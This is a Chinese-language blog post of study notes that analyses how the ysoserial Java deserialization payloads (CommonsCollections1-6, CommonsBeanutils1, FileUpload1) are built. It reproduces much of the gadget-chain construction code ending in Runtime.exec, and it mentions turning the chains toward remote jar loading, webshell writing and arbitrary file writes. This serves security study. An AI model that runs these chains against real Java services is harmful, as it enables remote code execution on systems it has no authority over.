YSOSERIAL Payloads分析笔记(1)

前言

YSOSERIAL = Y SO SERIAL? 为什么这么序列化?
其它没啥好说的,自己再看一遍,慢慢的往里面填肉。
CommonsCollections1-6、CommonsBeanutils1、FileUpload1

CommonsCollections1

喜闻乐见的CommonsCollections1,最初的利用链

public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };

没啥好说的,要执行的命令↑

		// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });

为了防止在decorate的时候就执行命令,先弄个事业不干的Transformer↑

// real chain for after setup
final Transformer[] transformers = new Transformer[] {
		new ConstantTransformer(Runtime.class),
		new InvokerTransformer("getMethod", new Class[] {
			String.class, Class[].class }, new Object[] {
			"getRuntime", new Class[0] }),
		new InvokerTransformer("invoke", new Class[] {
			Object.class, Object[].class }, new Object[] {
			null, new Object[0] }),
		new InvokerTransformer("exec",
			new Class[] { String.class }, execArgs),
		new ConstantTransformer(1) };

构造使用InvokerTransformer执行命令的TransfomerChain↑
核心代码如下,熟悉Java的同学看到Invoke应该会比较兴奋,不熟悉的么。。。去熟悉熟悉┓( ´∀` )┏
在这里插入图片描述
最后实际上使用ContantTransfomer和InvokerTransfomer构造了如下的反射执行链:

Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0]).exec("clac.exe")

所以只要有别的能写成一句话可以改别的,比如远程加载jar文件(URLClassLoader)、写shell(FileOutputStream\FileWriter)什么的~

能执行命令的话其实也可以结合shell脚本、windows批处理达到无反弹getshell,不过后来有了RMI这种方式还是推荐用RMI的。

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

建立一个空map,然后用上面创建的假transformerChain先装饰上。

题外话:
最早的文章中使用的是TransformedMap,对其任意entry进行setValue操作时,会触发transformer。

AbstractInputCheckedMapDecorator$MapEntry(对TransformedMap的Entry进行setValue会做到这)中的代码:
在这里插入图片描述
而后调用了TransformedMap的checkSetValue,执行了transform操作。
这部分的利用调用在AnnotationInvocationHandler中有体现。
在这里插入图片描述
补充:
看到了这篇文章之后发现自己忽略了一个地方,就是为什么TransformedMap要put一个key为"value"的键值对,是为了此处让var7不为null,可以继续执行后面的部分。
在这里插入图片描述

题外话结束:
而这里是使用LazyMap,lazyMap在调用get函数时如果key不存在会触发transformer。
在这里插入图片描述

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

这里使用AnnotationInvocationHandler是由于其成员memberValues为Map,而lazyMap和transformedMap都实现了Map接口,并且后面readObject调用中会触发上面所说的setValue与get函数。

有关动态代理的部分推荐一篇文章:《Java动态代理-实战》
这里只说一句与漏洞利用有关的:在通过Proxy进行被代理的接口调用时,实际上会通过构造时所给InvocationHandler的invoke函数进行执行。

createMemoitizedProxy创建了一个代理Map.class,InvocationHandler为(成员变量memberValues设置为上面所构造LazyMap的AnnotationInvocationHandler)的Proxy。

接下来createMemoizedInvocationHandler函数创建了一个memberValues为上面Proxy的AnnotationInvocationHandler。

(两个长名具体实现请看代码)

而后在第一层AnnotationInvocationHandler的readObject的过程中,触发了:

this.memberValues.entrySet()

实际上这层的memberValues为Proxy,会调用第二层AnnotationInvocationHandler的inovke函数:
在这里插入图片描述
可以看到由于entrySet不等于上面几个常量(equals\toString\hashCode\annotationType),所以会对memberValues进行get操作,而由于此时的memberValues为上面构造的空lazyMap,所以key不存在,如上面所说,触发了transformers!!
用PPT画了个比较丑的图:
在这里插入图片描述
题外话:
TransformedMap的利用成因具体参考《Lib之过?Java反序列化漏洞通用利用分析》这篇文章的解析,此处直说一句:在AnnotationInvocationHandler的readObject函数尾部会遍历的对memberValues中的Entry执行setValue操作,满足了触发条件。

最后:

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}

把iTransformers设置成利用链↑

到此CommonsCollections1利用链构造完成

CommonsCollections2

public Queue<Object> getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);

创建可执行命令的TemplatesImpl类,关于createTemplatesImpl可以看我写的另一篇《ysoserial Gadgets.createTemplatesImpl函数分析》

		// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

创建一个InvokerTransformer,执行的是无参数的toString函数。

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later,插俩假数据没啥说的
queue.add(1);
queue.add(1);

PriorityQueue是一个有优先级的队列,第一个参数为队列大小,第二个参数为使用的comparer比较器。
TransformingComparator为使用Transformer接口的比较器,调用compare函数时,先对所比较两元素依次调用所给Transformer进行转换后再进行比较。
这也就是后面为什么要将queueArray[0]设置为templates而不是queueArray[1]的原因。
实现如下:
在这里插入图片描述
在add的过程中也会调用comparer,所以上面InvokerTransformer设置为toString,保证添加过程可以正常执行

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

更改上面创建的InvokerTransformer的调用方法为newTransformer,用这个对TemplatesImpl对象调用newTransformer也可以触发调用链。。

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}

使用反射方法获取PriorityQueue中的实际存储的队列,并将索引0对应对象替换为上面创建的TemplatesImpl对象。

在PriorityQueue的ReadObject过程中,首先会重建队列的对象,而后对队列进行重新排序,排序过程中则会调用InovkerTransformer进行transform,触发templates调用链。

CommonsCollections3

基本跟CommonsCollections1一致,这里只说明下调用链。

final Transformer[] transformers = new Transformer[] {
		new ConstantTransformer(TrAXFilter.class),
		new InstantiateTransformer(
				new Class[] { Templates.class },
				new Object[] { templatesImpl } )};

InstantiateTransformer为调用上一级所给对象的的构造函数,内部实现也是反射调用。

TrAXFilter的构造函数如下:
在这里插入图片描述
上面画框的语句,触发了TemplatesImpl利用链。

CommonsCollections4

CommonsCollections2和CommonsCollections3的组合,前面要都看懂了就没啥好说的了。

还是先一顿规避构造中的命令执行。

通过PriorityQueue的方式触发排序,而这次的比较器的transformer是CommonsCollections3的调用链~

CommonsCollections5

jdk 8u76以上可用,还有得没开SecurityManager。

因为这个版本以上的BadAttributeValueExpException对象有readObject┓( ´∀` )┏,好神奇,这都怎么找到的。

大部分代码段都与CommonsCollections1相同,这里只说不同的部分。

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

TiedMapEntry在调用toString时会调用构造时所用map的get函数~触发lazyMap的调用链。
在这里插入图片描述
在这里插入图片描述

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);

通过反射方式将BadAttributeValueExpException所包裹的val值换成上面所构造TiedMapEntry。

BadAttributeValueExpException的readObject函数如下:
在这里插入图片描述
可以看到对val掉用了toString函数,触发了调用链。

用idea调试过程中可以发现触发了两次计算器,这也是因为idea调试过程中对所有变量调用toString来进行内容显示,在valObj获取完成就会对其调用toString。在这里插入图片描述

CommonsCollections6

HashSet是基于HashMap实现的。

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
    f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
    f = HashSet.class.getDeclaredField("backingMap");
}

f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
    f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
    f2 = HashMap.class.getDeclaredField("elementData");
}


f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
    node = array[1];
}

Field keyField = null;
try{
    keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
    keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

keyField.setAccessible(true);
keyField.set(node, entry);

return map;

这段代码向HashSet中插入了一个元素,而后获取了内部的HashMap,并将存储的唯一一个Node的Key替换为上面创建的TiedMapEntry。

在上面我们知道了toString函数会调用TiedMapEntry的getValue,而getValue会触发lazyMap的get。

而这个调用链中利用了TiedMapEntry的hashCode函数,同样会触发getValue:
在这里插入图片描述
HashSet在序列化过程中会将存储的对象依次写入序列化数据中:
在这里插入图片描述
而readObject过程中会依次反序列化对象并将其put入HashMap:
在这里插入图片描述
而HashMap的Put函数会对Key调用hashCode函数,最后触发了LazyMap调用链。
在这里插入图片描述

CommonsBeanutils1

有关PriorityQueue的部分与CommonsCollections4相同此处不在赘述。

final BeanComparator comparator = new BeanComparator("lowestSetBit");

有关BeanComparator的介绍:
https://commons.apache.org/proper/commons-beanutils/apidocs/org/apache/commons/beanutils/BeanComparator.html

BeanComparator是获取两个类指定属性进行比较,实际获取属性的过程中是调用了get+属性名的getter方法进行获取(并不是说有getter方法就一定有对应的属性),就比如上面这个comparator在比较过程中就调用了getLowestSetBit,这是BigInteger类的一个方法。

流程跟踪起来比较麻烦,有兴趣的同学可以自己跟一下。

具体获取getter方法的位置在java.beans包中Introspector类的getTargetPropertyInfo函数中。

为什么首位要变小写需要看decapitalize函数。

Reflections.setFieldValue(comparator, "property", "outputProperties");

后面重新设置了comparator对应的属性为outputProperties,最终调用了getOutputProperties函数,触发了调用链。

FileUpload1

这个在低版本的JRE(可以\x00截断)+commons-fileupload:1.3.1比较好用,其它的版本只能写入.tmp为结尾的随机文件了。
reaoPath是希望写入的文件夹位置,低版本JRE可以\x00截断,所有可以任意文件写入。
下图的是1.8的JDK的效果。
1.8JDK+FileUpload1
filePath是预计读取的文件位置,如果data有内容的话此处无用。
data就是预计写入的数据。
在这里插入图片描述
这个比较简单了,直接看DiskFileItem类的readObject函数就好了。
在这里插入图片描述
需要写入的话就向DiskFileItem中包含的DeferredFileOutputStream进行数据写入,使得在序列化过程中令cachedContent有内容。
在这里插入图片描述
复制与删除就使cachedContent没有内容,dfosFile配置好即可,当然,如果没法截断的话就是随机复制了。

小节

看懂一个后面就越看越快了。

CommonsCollections1

lazyMap.get不存在的key触发Transfomer
Java动态代理执行方法时会调用对应的InvocationHandler(这里是AnnotationInvocationHandler,并代理了Map.class的方法)
AnnotationInvocationHandler在readObject时会调用内置Map的entrySet方法。

CommonsCollections2

PriorityQueue的readObject方法再重新构建包含对象后会进行重新排序。
TransformingComparator是一个先调用内置Transformer后再调用CompareTo的Comparator。
利用了TemplatesImpl。

CommonsCollections3

与CommonsCollections1基本一致,但是利用了InstantiateTransformer这个实例化Transformer。
TrAXFilter使用Templates进行构造,并且构造过程中会调用newTransformer。

CommonsCollections4

CommonsCollections2+3的结合

CommonsCollections5

jdk 8u76以上可用,还有得没开SecurityManager。
因为这个版本以上的BadAttributeValueExpException对象有readObject。
TiedMapEntry绑定了lazyMap和一个不存在的Key,当对其调用toString时,会向去向绑定Map进行getValue,而这时候绑定的是lazyMap…

CommonsCollections6

利用了HashSet在反序列化时会依次向内置HashSet进行put,而put过程中会调用对应对象的HashCode函数,而TiedMapEntry的HashCode函数还是会getValue。

CommonsBeanutils1

CommonsCollections2的方法换了个Comparator。
BeanComparator是通过查找getter方法来判断哪些属性存在的,而TemplatesImpl正好有个调用newTransformer的getOutputProperties函数。

FileUpload1

emm 直接看,readObject函数就好了

猜你喜欢

转载自blog.csdn.net/fnmsd/article/details/88807512